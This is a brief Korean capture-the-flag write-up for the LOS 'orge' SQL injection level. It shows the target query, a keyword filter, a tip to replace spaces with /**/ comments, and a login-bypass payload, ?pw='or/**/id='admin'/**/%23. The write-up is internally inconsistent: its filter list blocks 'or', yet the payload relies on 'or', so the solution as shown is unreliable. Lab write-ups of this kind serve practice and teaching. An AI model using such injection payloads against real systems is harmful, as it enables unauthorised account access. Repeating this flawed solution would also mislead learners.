[LOS] orge

Query

select id from prob_orge where id='guest' and pw='{$_GET[pw]}'

Protection

preg_match

• prob 문자열
• _
• .
• ()
• or
• and

Analysis

• 공백 문자 대신 주석 /**/을 사용할 수 있다.

Payload

?pw='or/**/id='admin'/**/%23